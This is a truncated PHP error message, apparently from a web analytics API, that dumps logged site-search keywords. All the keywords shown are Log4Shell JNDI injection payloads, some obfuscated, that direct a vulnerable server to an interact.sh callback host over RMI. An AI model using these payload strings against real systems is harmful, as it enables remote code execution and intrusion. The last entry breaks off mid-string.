Error: Data structure returned is not convertible in the requested format: Only integer keys supported for array columns on base level. Unsupported string 'searches' found for row 'array (
  0 => 
  array (
    'keyword' => '${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://c6upepqragg8jd67iob0cg63q3ayyyyyn.interact.sh}',
    'searches' => 1,
  ),
  1 => 
  array (
    'keyword' => '${${::-j}ndi:rmi://c6upepqragg8jd67iob0cg63q3ayyyyyn.interact.sh}',
    'searches' => 1,
  ),
  2 => 
  array (
    'keyword' => '${jndi:rmi://c6upepqragg8jd67iob0cg63q3ayyyyyn.interact.sh}',
    'searches' => 1,
  ),
  3 => 
  array (
    'keyword' => '${${lower:jndi}:${lower:rmi}://c6upe'. Try to call this method with the parameters '&format=original&serialize=1'; you will get the original php data structure serialized.